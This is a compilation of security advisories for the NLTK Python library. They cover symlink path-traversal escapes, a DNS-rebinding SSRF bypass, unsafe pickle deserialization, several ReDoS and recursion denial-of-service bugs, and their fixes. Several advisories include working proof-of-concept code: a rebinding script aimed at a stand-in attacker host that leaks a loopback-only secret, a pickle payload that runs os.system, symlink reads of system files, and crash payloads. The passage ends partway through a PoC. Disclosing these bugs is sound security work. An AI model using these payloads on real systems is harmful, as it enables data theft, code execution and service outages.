- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3737.yaml
- https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass
- https://github.com/advisories/GHSA-p4rw-rvv2-7xwr
Summary
Several corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in open() rather than nltk.pathsec.open().
Details
- Vulnerability type: Path traversal and symlink boundary bypass
- Affected component:
nltk.corpus.reader.ipipan,nltk.corpus.reader.crubadan,nltk.corpus.reader.lin - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced. - Patched versions: Not yet patched
- Root cause: Root-derived paths are reopened with raw
open()without preserving the trusted-root boundary.
IPIPANCorpusReader opens header.xml derived from morph.xml, CrubadanCorpusReader opens table.txt directly, and LinThesaurusCorpusReader opens simN.lsp paths returned from its own root helpers. Under pathsec.ENFORCE=True, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as channels(), domains(), categories(), langs(), crubadan_to_iso(), synonyms(), and scored_synonyms().
PoC
Preconditions - The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.
Steps 1. Create a trusted corpus root and keep pathsec.ENFORCE=True with that root allowlisted. 2. Place symlinked reader inputs such as header.xml, table.txt, or simN.lsp inside the root and point them to external files. 3. Instantiate the corresponding corpus reader and call its normal public methods. 4. Observe that parsed outside-root values are returned even though pathsec.open() blocks the same symlink targets.
Minimal reproducible excerpt
{'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}
Impact
An attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.
Remediation
Preserve PathPointer and required_root semantics end to end. Replace direct open() calls with nltk.pathsec.open() or a reader helper that keeps the trusted-root boundary intact.
References
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98
- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545
Fix + full-codebase audit (verified)
I swept every raw file open in the corpus readers, not just the three the umbrella named:
| Reader | Site | Advisory | Root scoping |
|---|---|---|---|
| crubadan | table.txt + <code>-3grams.txt | p4rw / j5pw | required_root=self.root |
| lin | simN.lsp | p4rw | required_root=self.root |
| xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) |
| pl196x | textids index | found by audit | required_root=self._root |
| mte | MTEFileReader | mvf5 | required_root threaded through 8 call sites |
| toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) |
| named_entity | loadacefile ann/text | 7qj2 | global sandbox |
| nkjp | XML_Tool source file | p4rw class | required_root=self._root |
ipipan already validates via the earlier #3727 fix — unchanged.
Fix
Each site now calls nltk.pathsec.validate_path(path, required_root=…) before opening. Where the reader has a concrete corpus root, the check is scoped with required_root (rejects any escape outside that root). XMLCorpusView carries no root, so it falls back to the global data-root sandbox via getattr(self, "_root", None) — which also avoids an AttributeError on the bare-string path.
Reproduced (captured)
raw open(symlink) reads: 'TOPSECRET_OUTSIDE_ROOT' <- the bypass
validate_path(symlink, required_root): ValueError -> BLOCKS the escape
validate_path(legit in-root): PASSED <- loads normally
Honest residual
The global-sandbox fallback (toolbox, namedentity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the system temp dir. Scoping every reader with `requiredroot` and removing the temp dir from the allowed roots would harden it further (separate advisory / task).
Tests
test_corpus_reader_pathsec.py — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.
Scope caveat
validate_path blocks every symlink escape variant (verified) and equals pathsec.open()'s guarantee, but does NOT block hardlinks (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by pathsec.open; needs O_NOFOLLOW/openat).
Duplicate Advisory: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-cw6x-m8jw-qmrh. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.3 contains an uncontrolled recursion vulnerability in nltk.featstruct.FeatStructReader that allows unauthenticated attackers to cause a denial of service by supplying deeply nested feature-structure input. Attackers can craft trivial payloads with nested brackets that exceed Python's recursion limit and raise an unhandled RecursionError, crashing applications that parse user-supplied feature structures or feature grammars.
Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.
Original Description
In nltk version 3.9.4, the nltk.downloader.Downloader._download_package() function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for info.url through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.
Duplicate Advisory: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-m42h-3232-vpv3. This link is maintained to preserve external references.
Original Description
NLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The _UNSAFE_NO_PROTOCOL_RE regex in nltk/data.py checks for literal ../ sequences but fails to account for percent-encoded traversal sequences such as ..%2f. The url2pathname() function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to nltk.data.load() or nltk.data.find(). The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default pathsec.ENFORCE=False setting exacerbates the impact by not blocking the file read at the open() stage.
Duplicate Advisory: nltk: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3gqm-fcw5-w839. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.0 (affected versions <= 3.9.4) contains a server-side request forgery (SSRF) vulnerability in the validatenetworkurl() function in nltk/pathsec.py. The resolvehostname() helper catches OSError and ValueError during socket.getaddrinfo() and returns an empty list; when DNS resolution fails, the validation loop executes no IP checks and the function fails open, allowing urlopen() to proceed without validation. An attacker who can trigger DNS resolution failures or use DNS rebinding can bypass SSRF protections and reach restricted network resources, including cloud metadata endpoints (e.g., 169.254.169.254).
Duplicate Advisory: Stable FrameNet and NKJP readers parse outside-root XML in 3.9.4
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-568f-pv23-39p4. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state. Attackers can exploit framebyname, doc, lu, and header methods with crafted parameters to read arbitrary XML files accessible to the application.
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
Summary
nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.
Details
urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
validate_network_url()calls_resolve_hostname(parsed.hostname)and checks each returned IP against loopback/link-local/multicast/private, blocking underENFORCE. (Resolution #1.)urlopen()then callsbuild_opener(...).open(url)with the original URL (raw hostname), sourllibresolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
PoC
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True # the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1] # ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()
Impact
- Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g.
nltk.data.loadwithformat="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the
nltk.pathsecSSRF filter, including theENFORCEmode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and thelru_cacheannotation claiming to mitigate rebinding makes the false assurance worse.
NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking
- https://nvd.nist.gov/vuln/detail/CVE-2026-72818
- https://github.com/nltk/nltk/issues/3704
- https://github.com/nltk/nltk/blob/3.9.4/nltk/tokenize/casual.py
- https://github.com/nltk/nltk/releases/tag/v3.10.1
- https://www.vulncheck.com/advisories/nltk-tweettokenizer-url-pattern-backtracks-catastrophically-on-naked-domain-like-input
- https://github.com/nltk/nltk/pull/3701
- https://github.com/nltk/nltk/commit/e092ed52eccae642304448bffc8d23cb301f85c1
- https://github.com/advisories/GHSA-qx2g-xrx7-vfh8
The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORDRE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANGRE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.
NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
- https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9
- https://nvd.nist.gov/vuln/detail/CVE-2026-70626
- https://github.com/nltk/nltk/pull/3522
- https://github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48
- https://github.com/nltk/nltk/releases/tag/3.9.4
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml
- https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader
- https://github.com/advisories/GHSA-r6gq-whwq-mvg9
Summary
nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.
Details
The vulnerable flow is:
-
CorpusReader.open()blocks absolute paths and.., then callsself._root.join(file).open()
-
FileSystemPathPointer.join()joins the requested file ID and checks whether the resulting path still appears to remain under the configured root
The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
CorpusReader.open()rejects:- absolute paths
..path traversal
FileSystemPathPointer.join()computes:joined = os.path.normpath(os.path.join(self._path, fileid))root = os.path.normpath(self._path)
- It allows the access if
joinedstarts withroot
This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt
JOINED still appears to be inside the root, but REALPATH is outside it.
This is distinct from simple ../ traversal:
- the file ID is not absolute
- the file ID does not contain
.. - the escape only happens after filesystem resolution of a symlink under the allowed root
PoC
Reproduced in an isolated Docker sandbox using the local nltk clone.
Minimal Python PoC:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")
with open(outside_file, "w") as f:
f.write("secret-data")
os.symlink(outside_dir, os.path.join(root, "link"))
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
print(f.read())
Observed result:
secret-data
Docker re-test output:
ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
Additional impact validation using a system file:
ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
Impact
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
- applications that rely on NLTK corpus readers as a trust boundary for file access
- any deployment where an attacker can place or influence files inside the allowed corpus root
Practical impact includes disclosure of:
- application secrets stored on disk
- local configuration files
- private datasets
- process-exposed files such as
/proc/self/environ - system files readable by the running user
The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
Duplicate Advisory: NLTK: Corpus Reader Sandbox Bypass
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3gq4-3j92-5w49. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.
Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
- https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw
- https://github.com/advisories/GHSA-rf74-v2fm-23pw
- https://nvd.nist.gov/vuln/detail/CVE-2026-66393
- https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml
- https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder
Summary
JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.
Affected code
File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)
Proof of Concept
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
Impact
Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).
Suggested Fix
Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution
- https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2
- https://nvd.nist.gov/vuln/detail/CVE-2026-78683
- https://github.com/nltk/nltk/pull/3631
- https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml
- https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization
- https://github.com/advisories/GHSA-rhp5-r9x4-f5g2
Summary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl") 3. pickle_load() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization.Call
TransitionParser().parse([], '/path/to/malicious_model.pkl').The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget.Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from: python model = pickle_load(f) to: python model = pickle_load(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py | 557 | pickle_load(f) | pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py | 816 | pickle_load(model_data_file) | pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py | 2273 | pickle_load(file) | pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py | 2311 | pickle_load(fp) | pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
NLTK Vulnerable to REDoS
- https://nvd.nist.gov/vuln/detail/CVE-2021-3842
- https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d
- https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a
- https://github.com/advisories/GHSA-rqjh-jp2r-59cj
- https://github.com/nltk/nltk/pull/2906
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml
NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions get_pos_tagger and malt_regex_tagger.
NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions
- https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55
- https://nvd.nist.gov/vuln/detail/CVE-2026-80205
- https://github.com/nltk/nltk/pull/3674
- https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml
- https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex
- http://www.openwall.com/lists/oss-security/2026/09/01/3
- https://github.com/advisories/GHSA-rrv8-h7p8-rx55
Summary
NLTK's Text.findall() and TokenSearcher.findall() methods accept user-supplied regular expressions and pass them to the Python re engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the nltk.text module and was resolved in a prior commit.
Affected Code
nltk/text.py — TokenSearcher.findall() (line 255) / Text.findall() (line 620)
TokenSearcher.__init__ builds an internal string by wrapping each token in angle brackets. The findall() method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:
def findall(self, regexp):
# Preprocessing does NOT prevent catastrophic backtracking
regexp = re.sub(r"\s", "", regexp)
regexp = re.sub(r"<", "(?:<(?:", regexp)
regexp = re.sub(r">", ")>)", regexp)
regexp = re.sub(r"(?<!\\)\.", "[^>]", regexp)
# User-controlled regexp executed with no timeout
hits = re.findall(regexp, self._raw)
The preprocessing transforms < and > angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.
Proof of Concept
import nltk
import time
# Token of 25 'a' characters produces self._raw = "<aaaaaaaaaaaaaaaaaaaaaaaa!>"
# The trailing '!' ensures no match, forcing full backtracking.
text = nltk.Text(["a" * 25 + "!"])
# Pattern after transformation:
# < → (?:<(?:
# > → )>)
# Becomes: (?:<(?:((a+)+)b)>)
# re.findall runs this against "<aaaaaaaaaaaaaaaaaaaaaaaa!>" — hangs.
start = time.time()
text.findall(r"<((a+)+)b>") # Never returns
Impact
Applications that expose Text.findall() to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.
Remediation
This vulnerability was patched in commit d8e4753. Users should update to the patched version.
Credit
Tool: Kira by Offgrid Security
Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The tgrepnodeaction function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgreppositions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
- https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81723
- https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview
- https://github.com/advisories/GHSA-vp2x-qp44-57v7
Summary
XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment) on the full accumulated buffer every iteration. Because each iteration rescans the entire accumulated fragment, the total amount of work grows quadratically with input size.
Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior is separate: the loop calls match() once per 1 KiB block, each time on a longer buffer.
On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds through the public BNCCorpusReader.words() API with no source modification. Absolute timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or iteration count.
Details
File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308
The relevant loop:
fragment = ""
while True:
fragment += stream.read(self._BLOCK_SIZE) # grows by 1 KiB per iteration
if self._VALID_XML_RE.match(fragment): # rescans full buffer each time
return fragment
...
last_open_bracket = fragment.rfind("<")
if last_open_bracket > 0: # False for single-'<' payload
if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
return ...
# loop continues
For a payload of b'<' + b'a' * (N-1):
- For this malformed input,
_VALID_XML_RE.match(fragment)does not succeed because the unterminated tag prevents the expression from matching before EOF. fragment.rfind("<")returns0; the guardlast_open_bracket > 0isFalse, so the backtrack branch is never taken.- The only exit is EOF, after all N bytes are consumed.
Affected readers -> readers that rely on XMLCorpusView, including BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader, NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls defusedxml.safe_parse().
PoC
Requires only pip install nltk. No corpus data needed.
from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader
SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
root = Path(directory)
malformed = root / "unterminated.xml"
for kib in SIZES_KIB:
malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
t = perf_counter()
try:
list(BNCCorpusReader(str(root), [malformed.name]).words())
except ValueError as e:
assert "tag not closed" in str(e)
